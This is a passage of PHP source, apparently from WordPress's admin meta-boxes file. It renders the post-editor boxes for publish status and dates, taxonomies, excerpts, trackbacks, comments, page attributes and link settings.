		/* translators: Publish box time format, see https://www.php.net/date */
		$time_format = _x( 'H:i', 'publish box time format' );

if ( 0 !== $post_id ) {
			if ( 'future' === $post->post_status ) { // Scheduled for publishing at a future date.
				/* translators: Post date information. %s: Date on which the post is currently scheduled to be published. */
				$stamp = __( 'Scheduled for: %s' );
			} elseif ( 'publish' === $post->post_status || 'private' === $post->post_status ) { // Already published.
				/* translators: Post date information. %s: Date on which the post was published. */
				$stamp = __( 'Published on: %s' );
			} elseif ( '0000-00-00 00:00:00' === $post->post_date_gmt ) { // Draft, 1 or more saves, no date specified.
				$stamp = __( 'Publish <b>immediately</b>' );
			} elseif ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // Draft, 1 or more saves, future date specified.
				/* translators: Post date information. %s: Date on which the post is to be published. */
				$stamp = __( 'Schedule for: %s' );
			} else { // Draft, 1 or more saves, date specified.
				/* translators: Post date information. %s: Date on which the post is to be published. */
				$stamp = __( 'Publish on: %s' );
			}
			$date = sprintf(
				$date_string,
				date_i18n( $date_format, strtotime( $post->post_date ) ),
				date_i18n( $time_format, strtotime( $post->post_date ) )
			);
		} else { // Draft (no saves, and thus no date specified).
			$stamp = __( 'Publish <b>immediately</b>' );
			$date  = sprintf(
				$date_string,
				date_i18n( $date_format, strtotime( current_time( 'mysql' ) ) ),
				date_i18n( $time_format, strtotime( current_time( 'mysql' ) ) )
			);
		}

if ( ! empty( $args['args']['revisions_count'] ) ) :
			?>
			<div class="misc-pub-section misc-pub-revisions">
				<?php
				/* translators: Post revisions heading. %s: The number of available revisions. */
				printf( __( 'Revisions: %s' ), '<b>' . number_format_i18n( $args['args']['revisions_count'] ) . '</b>' );
				?>
				<a class="hide-if-no-js" href="<?php echo esc_url( get_edit_post_link( $args['args']['revision_id'] ) ); ?>"><span aria-hidden="true"><?php _ex( 'Browse', 'revisions' ); ?></span> <span class="screen-reader-text"><?php _e( 'Browse revisions' ); ?></span></a>
			</div>
			<?php
		endif;

if ( $can_publish ) : // Contributors don't get to choose the date of publish.
			?>
			<div class="misc-pub-section curtime misc-pub-curtime">
				<span id="timestamp">
					<?php printf( $stamp, '<b>' . $date . '</b>' ); ?>
				</span>
				<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" role="button">
					<span aria-hidden="true"><?php _e( 'Edit' ); ?></span>
					<span class="screen-reader-text"><?php _e( 'Edit date and time' ); ?></span>
				</a>
				<fieldset id="timestampdiv" class="hide-if-js">
					<legend class="screen-reader-text"><?php _e( 'Date and time' ); ?></legend>
					<?php touch_time( ( 'edit' === $action ), 1 ); ?>
				</fieldset>
			</div>
			<?php
		endif;

if ( 'draft' === $post->post_status && get_post_meta( $post_id, '_customize_changeset_uuid', true ) ) :
			?>
			<div class="notice notice-info notice-alt inline">
				<p>
					<?php
					printf(
						/* translators: %s: URL to the Customizer. */
						__( 'This draft comes from your <a href="%s">unpublished customization changes</a>. You can edit, but there&#8217;s no need to publish now. It will be published automatically with those changes.' ),
						esc_url(
							add_query_arg(
								'changeset_uuid',
								rawurlencode( get_post_meta( $post_id, '_customize_changeset_uuid', true ) ),
								admin_url( 'customize.php' )
							)
						)
					);
					?>
				</p>
			</div>
			<?php
		endif;

/**
		 * Fires after the post time/date setting in the Publish meta box.
		 *
		 * @since 2.9.0
		 * @since 4.4.0 Added the `$post` parameter.
		 *
		 * @param WP_Post $post WP_Post object for the current post.
		 */
		do_action( 'post_submitbox_misc_actions', $post );
		?>
	</div>
	<div class="clear"></div>
</div>

<div id="publishing-action">
		<span class="spinner"></span>
		<?php
		if ( ! in_array( $post->post_status, array( 'publish', 'future', 'private' ), true ) || 0 === $post_id ) {
			if ( $can_publish ) :
				if ( ! empty( $post->post_date_gmt ) && time() < strtotime( $post->post_date_gmt . ' +0000' ) ) :
					?>
					<input name="original_publish" type="hidden" id="original_publish" value="<?php echo esc_attr_x( 'Schedule', 'post action/button label' ); ?>" />
					<?php submit_button( _x( 'Schedule', 'post action/button label' ), 'primary large', 'publish', false ); ?>
					<?php
				else :
					?>
					<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Publish' ); ?>" />
					<?php submit_button( __( 'Publish' ), 'primary large', 'publish', false ); ?>
					<?php
				endif;
			else :
				?>
				<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Submit for Review' ); ?>" />
				<?php submit_button( __( 'Submit for Review' ), 'primary large', 'publish', false ); ?>
				<?php
			endif;
		} else {
			?>
			<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Update' ); ?>" />
			<?php submit_button( __( 'Update' ), 'primary large', 'save', false, array( 'id' => 'publish' ) ); ?>
			<?php
		}
		?>
	</div>
	<div class="clear"></div>
</div>

</div>
	<?php
}

/**
 * Display attachment submit form fields.
 *
 * @since 3.5.0
 *
 * @param object $post
 */
function attachment_submit_meta_box( $post ) {
	?>
<div class="submitbox" id="submitpost">

<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?>
<div style="display:none;">
	<?php submit_button( __( 'Save' ), '', 'save' ); ?>
</div>

<div id="misc-publishing-actions">
	<div class="misc-pub-section curtime misc-pub-curtime">
		<span id="timestamp">
			<?php
			$uploaded_on = sprintf(
				/* translators: Publish box date string. 1: Date, 2: Time. See https://www.php.net/date */
				__( '%1$s at %2$s' ),
				/* translators: Publish box date format, see https://www.php.net/date */
				date_i18n( _x( 'M j, Y', 'publish box date format' ), strtotime( $post->post_date ) ),
				/* translators: Publish box time format, see https://www.php.net/date */
				date_i18n( _x( 'H:i', 'publish box time format' ), strtotime( $post->post_date ) )
			);
			/* translators: Attachment information. %s: Date the attachment was uploaded. */
			printf( __( 'Uploaded on: %s' ), '<b>' . $uploaded_on . '</b>' );
			?>
		</span>
	</div>

<?php
	/**
	 * Fires after the 'Uploaded on' section of the Save meta box
	 * in the attachment editing screen.
	 *
	 * @since 3.5.0
	 * @since 4.9.0 Added the `$post` parameter.
	 *
	 * @param WP_Post $post WP_Post object for the current attachment.
	 */
	do_action( 'attachment_submitbox_misc_actions', $post );
	?>
</div>
<div class="clear"></div>
</div>

<div id="major-publishing-actions">
	<div id="delete-action">
	<?php
	if ( current_user_can( 'delete_post', $post->ID ) ) {
		if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
			echo "<a class='submitdelete deletion' href='" . get_delete_post_link( $post->ID ) . "'>" . __( 'Move to Trash' ) . '</a>';
		} else {
			$delete_ays = ! MEDIA_TRASH ? " onclick='return showNotice.warn();'" : '';
			echo "<a class='submitdelete deletion'$delete_ays href='" . get_delete_post_link( $post->ID, null, true ) . "'>" . __( 'Delete permanently' ) . '</a>';
		}
	}
	?>
	</div>

</div>

<?php
}

/**
 * Display post format form elements.
 *
 * @since 3.1.0
 *
 * @param WP_Post $post Post object.
 * @param array   $box {
 *     Post formats meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args     Extra meta box arguments.
 * }
 */
function post_format_meta_box( $post, $box ) {
	if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) ) :
		$post_formats = get_theme_support( 'post-formats' );

if ( is_array( $post_formats[0] ) ) :
			$post_format = get_post_format( $post->ID );
			if ( ! $post_format ) {
				$post_format = '0';
			}
			// Add in the current one if it isn't there yet, in case the current theme doesn't support it.
			if ( $post_format && ! in_array( $post_format, $post_formats[0], true ) ) {
				$post_formats[0][] = $post_format;
			}
			?>
		<div id="post-formats-select">
		<fieldset>
			<legend class="screen-reader-text"><?php _e( 'Post Formats' ); ?></legend>
			<input type="radio" name="post_format" class="post-format" id="post-format-0" value="0" <?php checked( $post_format, '0' ); ?> /> <label for="post-format-0" class="post-format-icon post-format-standard"><?php echo get_post_format_string( 'standard' ); ?></label>
			<?php foreach ( $post_formats[0] as $format ) : ?>
			<br /><input type="radio" name="post_format" class="post-format" id="post-format-<?php echo esc_attr( $format ); ?>" value="<?php echo esc_attr( $format ); ?>" <?php checked( $post_format, $format ); ?> /> <label for="post-format-<?php echo esc_attr( $format ); ?>" class="post-format-icon post-format-<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></label>
			<?php endforeach; ?>
		</fieldset>
	</div>
			<?php
	endif;
endif;
}

/**
 * Display post tags form fields.
 *
 * @since 2.6.0
 *
 * @todo Create taxonomy-agnostic wrapper for this.
 *
 * @param WP_Post $post Post object.
 * @param array   $box {
 *     Tags meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args {
 *         Extra meta box arguments.
 *
 *         @type string $taxonomy Taxonomy. Default 'post_tag'.
 *     }
 * }
 */
function post_tags_meta_box( $post, $box ) {
	$defaults = array( 'taxonomy' => 'post_tag' );
	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
		$args = array();
	} else {
		$args = $box['args'];
	}
	$parsed_args           = wp_parse_args( $args, $defaults );
	$tax_name              = esc_attr( $parsed_args['taxonomy'] );
	$taxonomy              = get_taxonomy( $parsed_args['taxonomy'] );
	$user_can_assign_terms = current_user_can( $taxonomy->cap->assign_terms );
	$comma                 = _x( ',', 'tag delimiter' );
	$terms_to_edit         = get_terms_to_edit( $post->ID, $tax_name );
	if ( ! is_string( $terms_to_edit ) ) {
		$terms_to_edit = '';
	}
	?>
<div class="tagsdiv" id="<?php echo $tax_name; ?>">
	<div class="jaxtag">
	<div class="nojs-tags hide-if-js">
		<label for="tax-input-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_or_remove_items; ?></label>
		<p><textarea name="<?php echo "tax_input[$tax_name]"; ?>" rows="3" cols="20" class="the-tags" id="tax-input-<?php echo $tax_name; ?>" <?php disabled( ! $user_can_assign_terms ); ?> aria-describedby="new-tag-<?php echo $tax_name; ?>-desc"><?php echo str_replace( ',', $comma . ' ', $terms_to_edit ); // textarea_escaped by esc_attr() ?></textarea></p>
	</div>
	<?php if ( $user_can_assign_terms ) : ?>
	<div class="ajaxtag hide-if-no-js">
		<label class="screen-reader-text" for="new-tag-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_new_item; ?></label>
		<input data-wp-taxonomy="<?php echo $tax_name; ?>" type="text" id="new-tag-<?php echo $tax_name; ?>" name="newtag[<?php echo $tax_name; ?>]" class="newtag form-input-tip" size="16" autocomplete="off" aria-describedby="new-tag-<?php echo $tax_name; ?>-desc" value="" />
		<input type="button" class="button tagadd" value="<?php esc_attr_e( 'Add' ); ?>" />
	</div>
	<p class="howto" id="new-tag-<?php echo $tax_name; ?>-desc"><?php echo $taxonomy->labels->separate_items_with_commas; ?></p>
	<?php elseif ( empty( $terms_to_edit ) ) : ?>
		<p><?php echo $taxonomy->labels->no_terms; ?></p>
	<?php endif; ?>
	</div>
	<ul class="tagchecklist" role="list"></ul>
</div>
	<?php if ( $user_can_assign_terms ) : ?>
<p class="hide-if-no-js"><button type="button" class="button-link tagcloud-link" id="link-<?php echo $tax_name; ?>" aria-expanded="false"><?php echo $taxonomy->labels->choose_from_most_used; ?></button></p>
<?php endif; ?>
	<?php
}

/**
 * Display post categories form fields.
 *
 * @since 2.6.0
 *
 * @todo Create taxonomy-agnostic wrapper for this.
 *
 * @param WP_Post $post Post object.
 * @param array   $box {
 *     Categories meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args {
 *         Extra meta box arguments.
 *
 *         @type string $taxonomy Taxonomy. Default 'category'.
 *     }
 * }
 */
function post_categories_meta_box( $post, $box ) {
	$defaults = array( 'taxonomy' => 'category' );
	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
		$args = array();
	} else {
		$args = $box['args'];
	}
	$parsed_args = wp_parse_args( $args, $defaults );
	$tax_name    = esc_attr( $parsed_args['taxonomy'] );
	$taxonomy    = get_taxonomy( $parsed_args['taxonomy'] );
	?>
	<div id="taxonomy-<?php echo $tax_name; ?>" class="categorydiv">
		<ul id="<?php echo $tax_name; ?>-tabs" class="category-tabs">
			<li class="tabs"><a href="#<?php echo $tax_name; ?>-all"><?php echo $taxonomy->labels->all_items; ?></a></li>
			<li class="hide-if-no-js"><a href="#<?php echo $tax_name; ?>-pop"><?php echo esc_html( $taxonomy->labels->most_used ); ?></a></li>
		</ul>

<div id="<?php echo $tax_name; ?>-pop" class="tabs-panel" style="display: none;">
			<ul id="<?php echo $tax_name; ?>checklist-pop" class="categorychecklist form-no-clear" >
				<?php $popular_ids = wp_popular_terms_checklist( $tax_name ); ?>
			</ul>
		</div>

<div id="<?php echo $tax_name; ?>-all" class="tabs-panel">
			<?php
			$name = ( 'category' === $tax_name ) ? 'post_category' : 'tax_input[' . $tax_name . ']';
			// Allows for an empty term set to be sent. 0 is an invalid term ID and will be ignored by empty() checks.
			echo "<input type='hidden' name='{$name}[]' value='0' />";
			?>
			<ul id="<?php echo $tax_name; ?>checklist" data-wp-lists="list:<?php echo $tax_name; ?>" class="categorychecklist form-no-clear">
				<?php
				wp_terms_checklist(
					$post->ID,
					array(
						'taxonomy'     => $tax_name,
						'popular_cats' => $popular_ids,
					)
				);
				?>
			</ul>
		</div>
	<?php if ( current_user_can( $taxonomy->cap->edit_terms ) ) : ?>
			<div id="<?php echo $tax_name; ?>-adder" class="wp-hidden-children">
				<a id="<?php echo $tax_name; ?>-add-toggle" href="#<?php echo $tax_name; ?>-add" class="hide-if-no-js taxonomy-add-new">
					<?php
						/* translators: %s: Add New taxonomy label. */
						printf( __( '+ %s' ), $taxonomy->labels->add_new_item );
					?>
				</a>
				<p id="<?php echo $tax_name; ?>-add" class="category-add wp-hidden-child">
					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_new_item; ?></label>
					<input type="text" name="new<?php echo $tax_name; ?>" id="new<?php echo $tax_name; ?>" class="form-required form-input-tip" value="<?php echo esc_attr( $taxonomy->labels->new_item_name ); ?>" aria-required="true"/>
					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>_parent">
						<?php echo $taxonomy->labels->parent_item_colon; ?>
					</label>
					<?php
					$parent_dropdown_args = array(
						'taxonomy'         => $tax_name,
						'hide_empty'       => 0,
						'name'             => 'new' . $tax_name . '_parent',
						'orderby'          => 'name',
						'hierarchical'     => 1,
						'show_option_none' => '&mdash; ' . $taxonomy->labels->parent_item . ' &mdash;',
					);

/**
					 * Filters the arguments for the taxonomy parent dropdown on the Post Edit page.
					 *
					 * @since 4.4.0
					 *
					 * @param array $parent_dropdown_args {
					 *     Optional. Array of arguments to generate parent dropdown.
					 *
					 *     @type string   $taxonomy         Name of the taxonomy to retrieve.
					 *     @type bool     $hide_if_empty    True to skip generating markup if no
					 *                                      categories are found. Default 0.
					 *     @type string   $name             Value for the 'name' attribute
					 *                                      of the select element.
					 *                                      Default "new{$tax_name}_parent".
					 *     @type string   $orderby          Which column to use for ordering
					 *                                      terms. Default 'name'.
					 *     @type bool|int $hierarchical     Whether to traverse the taxonomy
					 *                                      hierarchy. Default 1.
					 *     @type string   $show_option_none Text to display for the "none" option.
					 *                                      Default "&mdash; {$parent} &mdash;",
					 *                                      where `$parent` is 'parent_item'
					 *                                      taxonomy label.
					 * }
					 */
					$parent_dropdown_args = apply_filters( 'post_edit_category_parent_dropdown_args', $parent_dropdown_args );

wp_dropdown_categories( $parent_dropdown_args );
					?>
					<input type="button" id="<?php echo $tax_name; ?>-add-submit" data-wp-lists="add:<?php echo $tax_name; ?>checklist:<?php echo $tax_name; ?>-add" class="button category-add-submit" value="<?php echo esc_attr( $taxonomy->labels->add_new_item ); ?>" />
					<?php wp_nonce_field( 'add-' . $tax_name, '_ajax_nonce-add-' . $tax_name, false ); ?>
					<span id="<?php echo $tax_name; ?>-ajax-response"></span>
				</p>
			</div>
		<?php endif; ?>
	</div>
	<?php
}

/**
 * Display post excerpt form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_excerpt_meta_box( $post ) {
	?>
<label class="screen-reader-text" for="excerpt"><?php _e( 'Excerpt' ); ?></label><textarea rows="1" cols="40" name="excerpt" id="excerpt"><?php echo $post->post_excerpt; // textarea_escaped ?></textarea>
<p>
	<?php
	printf(
		/* translators: %s: Documentation URL. */
		__( 'Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href="%s">Learn more about manual excerpts</a>.' ),
		__( 'https://wordpress.org/support/article/excerpt/' )
	);
	?>
</p>
	<?php
}

/**
 * Display trackback links form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_trackback_meta_box( $post ) {
	$form_trackback = '<input type="text" name="trackback_url" id="trackback_url" class="code" value="' .
		esc_attr( str_replace( "\n", ' ', $post->to_ping ) ) . '" aria-describedby="trackback-url-desc" />';

if ( '' !== $post->pinged ) {
		$pings          = '<p>' . __( 'Already pinged:' ) . '</p><ul>';
		$already_pinged = explode( "\n", trim( $post->pinged ) );
		foreach ( $already_pinged as $pinged_url ) {
			$pings .= "\n\t<li>" . esc_html( $pinged_url ) . '</li>';
		}
		$pings .= '</ul>';
	}

?>
<p>
	<label for="trackback_url"><?php _e( 'Send trackbacks to:' ); ?></label>
	<?php echo $form_trackback; ?>
</p>
<p id="trackback-url-desc" class="howto"><?php _e( 'Separate multiple URLs with spaces' ); ?></p>
<p>
	<?php
	printf(
		/* translators: %s: Documentation URL. */
		__( 'Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. If you link other WordPress sites, they&#8217;ll be notified automatically using <a href="%s">pingbacks</a>, no other action necessary.' ),
		__( 'https://wordpress.org/support/article/introduction-to-blogging/#comments' )
	);
	?>
</p>
	<?php
	if ( ! empty( $pings ) ) {
		echo $pings;
	}
}

/**
 * Display custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_custom_meta_box( $post ) {
	?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
	<?php
	$metadata = has_meta( $post->ID );
	foreach ( $metadata as $key => $value ) {
		if ( is_protected_meta( $metadata[ $key ]['meta_key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post->ID, $metadata[ $key ]['meta_key'] ) ) {
			unset( $metadata[ $key ] );
		}
	}
	list_meta( $metadata );
	meta_form( $post );
	?>
</div>
<p>
	<?php
	printf(
		/* translators: %s: Documentation URL. */
		__( 'Custom fields can be used to add extra metadata to a post that you can <a href="%s">use in your theme</a>.' ),
		__( 'https://wordpress.org/support/article/custom-fields/' )
	);
	?>
</p>
	<?php
}

/**
 * Display comments status form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_comment_status_meta_box( $post ) {
	?>
<input name="advanced_view" type="hidden" value="1" />
<p class="meta-options">
	<label for="comment_status" class="selectit"><input name="comment_status" type="checkbox" id="comment_status" value="open" <?php checked( $post->comment_status, 'open' ); ?> /> <?php _e( 'Allow comments' ); ?></label><br />
	<label for="ping_status" class="selectit"><input name="ping_status" type="checkbox" id="ping_status" value="open" <?php checked( $post->ping_status, 'open' ); ?> />
		<?php
		printf(
			/* translators: %s: Documentation URL. */
			__( 'Allow <a href="%s">trackbacks and pingbacks</a> on this page' ),
			__( 'https://wordpress.org/support/article/introduction-to-blogging/#managing-comments' )
		);
		?>
	</label>
	<?php
	/**
	 * Fires at the end of the Discussion meta box on the post editing screen.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Post $post WP_Post object of the current post.
	 */
	do_action( 'post_comment_status_meta_box-options', $post ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	?>
</p>
	<?php
}

/**
 * Display comments for post table header
 *
 * @since 3.0.0
 *
 * @param array $result table header rows
 * @return array
 */
function post_comment_meta_box_thead( $result ) {
	unset( $result['cb'], $result['response'] );
	return $result;
}

/**
 * Display comments for post.
 *
 * @since 2.8.0
 *
 * @param object $post
 */
function post_comment_meta_box( $post ) {
	wp_nonce_field( 'get-comments', 'add_comment_nonce', false );
	?>
	<p class="hide-if-no-js" id="add-new-comment"><button type="button" class="button" onclick="window.commentReply && commentReply.addcomment(<?php echo $post->ID; ?>);"><?php _e( 'Add Comment' ); ?></button></p>
	<?php

$total         = get_comments(
		array(
			'post_id' => $post->ID,
			'number'  => 1,
			'count'   => true,
		)
	);
	$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table' );
	$wp_list_table->display( true );

if ( 1 > $total ) {
		echo '<p id="no-comments">' . __( 'No comments yet.' ) . '</p>';
	} else {
		$hidden = get_hidden_meta_boxes( get_current_screen() );
		if ( ! in_array( 'commentsdiv', $hidden, true ) ) {
			?>
			<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php echo $total; ?>, 10);});</script>
			<?php
		}

?>
		<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.load(<?php echo $total; ?>);return false;"><?php _e( 'Show comments' ); ?></a> <span class="spinner"></span></p>
		<?php
	}

wp_comment_trashnotice();
}

/**
 * Display slug form fields.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_slug_meta_box( $post ) {
	/** This filter is documented in wp-admin/edit-tag-form.php */
	$editable_slug = apply_filters( 'editable_slug', $post->post_name, $post );
	?>
<label class="screen-reader-text" for="post_name"><?php _e( 'Slug' ); ?></label><input name="post_name" type="text" size="13" id="post_name" value="<?php echo esc_attr( $editable_slug ); ?>" />
	<?php
}

/**
 * Display form field with list of authors.
 *
 * @since 2.6.0
 *
 * @global int $user_ID
 *
 * @param object $post
 */
function post_author_meta_box( $post ) {
	global $user_ID;
	?>
<label class="screen-reader-text" for="post_author_override"><?php _e( 'Author' ); ?></label>
	<?php
	wp_dropdown_users(
		array(
			'who'              => 'authors',
			'name'             => 'post_author_override',
			'selected'         => empty( $post->ID ) ? $user_ID : $post->post_author,
			'include_selected' => true,
			'show'             => 'display_name_with_login',
		)
	);
}

/**
 * Display list of revisions.
 *
 * @since 2.6.0
 *
 * @param object $post
 */
function post_revisions_meta_box( $post ) {
	wp_list_post_revisions( $post );
}

//
// Page-related Meta Boxes.
//

/**
 * Display page attributes form fields.
 *
 * @since 2.7.0
 *
 * @param object $post
 */
function page_attributes_meta_box( $post ) {
	if ( is_post_type_hierarchical( $post->post_type ) ) :
		$dropdown_args = array(
			'post_type'        => $post->post_type,
			'exclude_tree'     => $post->ID,
			'selected'         => $post->post_parent,
			'name'             => 'parent_id',
			'show_option_none' => __( '(no parent)' ),
			'sort_column'      => 'menu_order, post_title',
			'echo'             => 0,
		);

/**
		 * Filters the arguments used to generate a Pages drop-down element.
		 *
		 * @since 3.3.0
		 *
		 * @see wp_dropdown_pages()
		 *
		 * @param array   $dropdown_args Array of arguments used to generate the pages drop-down.
		 * @param WP_Post $post          The current post.
		 */
		$dropdown_args = apply_filters( 'page_attributes_dropdown_pages_args', $dropdown_args, $post );
		$pages         = wp_dropdown_pages( $dropdown_args );
		if ( ! empty( $pages ) ) :
			?>
<p class="post-attributes-label-wrapper parent-id-label-wrapper"><label class="post-attributes-label" for="parent_id"><?php _e( 'Parent' ); ?></label></p>
			<?php echo $pages; ?>
			<?php
		endif; // End empty pages check.
	endif;  // End hierarchical check.

if ( count( get_page_templates( $post ) ) > 0 && get_option( 'page_for_posts' ) != $post->ID ) :
		$template = ! empty( $post->page_template ) ? $post->page_template : false;
		?>
<p class="post-attributes-label-wrapper page-template-label-wrapper"><label class="post-attributes-label" for="page_template"><?php _e( 'Template' ); ?></label>
		<?php
		/**
		 * Fires immediately after the label inside the 'Template' section
		 * of the 'Page Attributes' meta box.
		 *
		 * @since 4.4.0
		 *
		 * @param string  $template The template used for the current post.
		 * @param WP_Post $post     The current post.
		 */
		do_action( 'page_attributes_meta_box_template', $template, $post );
		?>
</p>
<select name="page_template" id="page_template">
		<?php
		/**
		 * Filters the title of the default page template displayed in the drop-down.
		 *
		 * @since 4.1.0
		 *
		 * @param string $label   The display value for the default page template title.
		 * @param string $context Where the option label is displayed. Possible values
		 *                        include 'meta-box' or 'quick-edit'.
		 */
		$default_title = apply_filters( 'default_page_template_title', __( 'Default template' ), 'meta-box' );
		?>
<option value="default"><?php echo esc_html( $default_title ); ?></option>
		<?php page_template_dropdown( $template, $post->post_type ); ?>
</select>
<?php endif; ?>
	<?php if ( post_type_supports( $post->post_type, 'page-attributes' ) ) : ?>
<p class="post-attributes-label-wrapper menu-order-label-wrapper"><label class="post-attributes-label" for="menu_order"><?php _e( 'Order' ); ?></label></p>
<input name="menu_order" type="text" size="4" id="menu_order" value="<?php echo esc_attr( $post->menu_order ); ?>" />
		<?php
		/**
		 * Fires before the help hint text in the 'Page Attributes' meta box.
		 *
		 * @since 4.9.0
		 *
		 * @param WP_Post $post The current post.
		 */
		do_action( 'page_attributes_misc_attributes', $post );
		?>
		<?php if ( 'page' === $post->post_type && get_current_screen()->get_help_tabs() ) : ?>
<p class="post-attributes-help-text"><?php _e( 'Need help? Use the Help tab above the screen title.' ); ?></p>
			<?php
	endif;
	endif;
}

//
// Link-related Meta Boxes.
//

/**
 * Display link create form fields.
 *
 * @since 2.7.0
 *
 * @param object $link
 */
function link_submit_meta_box( $link ) {
	?>
<div class="submitbox" id="submitlink">

<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?>
<div style="display:none;">
	<?php submit_button( __( 'Save' ), '', 'save', false ); ?>
</div>

<div id="minor-publishing-actions">
<div id="preview-action">
	<?php if ( ! empty( $link->link_id ) ) { ?>
	<a class="preview button" href="<?php echo $link->link_url; ?>" target="_blank"><?php _e( 'Visit Link' ); ?></a>
<?php } ?>
</div>
<div class="clear"></div>
</div>

<div id="misc-publishing-actions">
<div class="misc-pub-section misc-pub-private">
	<label for="link_private" class="selectit"><input id="link_private" name="link_visible" type="checkbox" value="N" <?php checked( $link->link_visible, 'N' ); ?> /> <?php _e( 'Keep this link private' ); ?></label>
</div>
</div>

</div>

<div id="major-publishing-actions">
	<?php
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'post_submitbox_start', null );
	?>
<div id="delete-action">
	<?php
	if ( ! empty( $_GET['action'] ) && 'edit' === $_GET['action'] && current_user_can( 'manage_links' ) ) {
		printf(
			'<a class="submitdelete deletion" href="%s" onclick="return confirm( \'%s\' );">%s</a>',
			wp_nonce_url( "link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id ),
			/* translators: %s: Link name. */
			esc_js( sprintf( __( "You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete." ), $link->link_name ) ),
			__( 'Delete' )
		);
	}
	?>
</div>

<div id="publishing-action">
	<?php if ( ! empty( $link->link_id ) ) { ?>
	<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Update Link' ); ?>" />
<?php } else { ?>
	<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Add Link' ); ?>" />
<?php } ?>
</div>
<div class="clear"></div>
</div>
	<?php
	/**
	 * Fires at the end of the Publish box in the Link editing screen.
	 *
	 * @since 2.5.0
	 */
	do_action( 'submitlink_box' );
	?>
<div class="clear"></div>
</div>
	<?php
}

/**
 * Display link categories form fields.
 *
 * @since 2.6.0
 *
 * @param object $link
 */
function link_categories_meta_box( $link ) {
	?>
<div id="taxonomy-linkcategory" class="categorydiv">
	<ul id="category-tabs" class="category-tabs">
		<li class="tabs"><a href="#categories-all"><?php _e( 'All categories' ); ?></a></li>
		<li class="hide-if-no-js"><a href="#categories-pop"><?php _ex( 'Most Used', 'categories' ); ?></a></li>
	</ul>

<div id="categories-all" class="tabs-panel">
		<ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear">
			<?php
			if ( isset( $link->link_id ) ) {
				wp_link_category_checklist( $link->link_id );
			} else {
				wp_link_category_checklist();
			}
			?>
		</ul>
	</div>

<div id="category-adder" class="wp-hidden-children">
		<a id="category-add-toggle" href="#category-add" class="taxonomy-add-new"><?php _e( '+ Add New Category' ); ?></a>
		<p id="link-category-add" class="wp-hidden-child">
			<label class="screen-reader-text" for="newcat"><?php _e( '+ Add New Category' ); ?></label>
			<input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e( 'New category name' ); ?>" aria-required="true" />
			<input type="button" id="link-category-add-submit" data-wp-lists="add:categorychecklist:link-category-add" class="button" value="<?php esc_attr_e( 'Add' ); ?>" />
			<?php wp_nonce_field( 'add-link-category', '_ajax_nonce', false ); ?>
			<span id="category-ajax-response"></span>
		</p>
	</div>
</div>
	<?php
}

/**
 * Display form fields for changing link target.
 *
 * @since 2.6.0
 *
 * @param object $link
 */
function link_target_meta_box( $link ) {

?>
<fieldset><legend class="screen-reader-text"><span><?php _e( 'Target' ); ?></span></legend>
<p><label for="link_target_blank" class="selectit">
<input id="link_target_blank" type="radio" name="link_target" value="_blank" <?php echo ( isset( $link->link_target ) && ( '_blank' === $link->link_target ) ? 'checked="checked"' : '' ); ?> />
	<?php _e( '<code>_blank</code> &mdash; new window or tab.' ); ?></label></p>
<p><label for="link_target_top" class="selectit">
<input id="link_target_top" type="radio" name="link_target" value="_top" <?php echo ( isset( $link->link_target ) && ( '_top' === $link->link_target ) ? 'checked="checked"' : '' ); ?> />
	<?php _e( '<code>_top</code> &mdash; current window or tab, with no frames.' ); ?></label></p>
<p><label for="link_target_none" class="selectit">
<input id="link_target_none" type="radio" name="link_target" value="" <?php echo ( isset( $link->link_target ) && ( '' === $link->link_target ) ? 'checked="checked"' : '' ); ?> />
	<?php _e( '<code>_none</code> &mdash; same window or tab.' ); ?></label></p>
</fieldset>
<p><?php _e( 'Choose the target frame for your link.' ); ?></p>
	<?php
}

/**
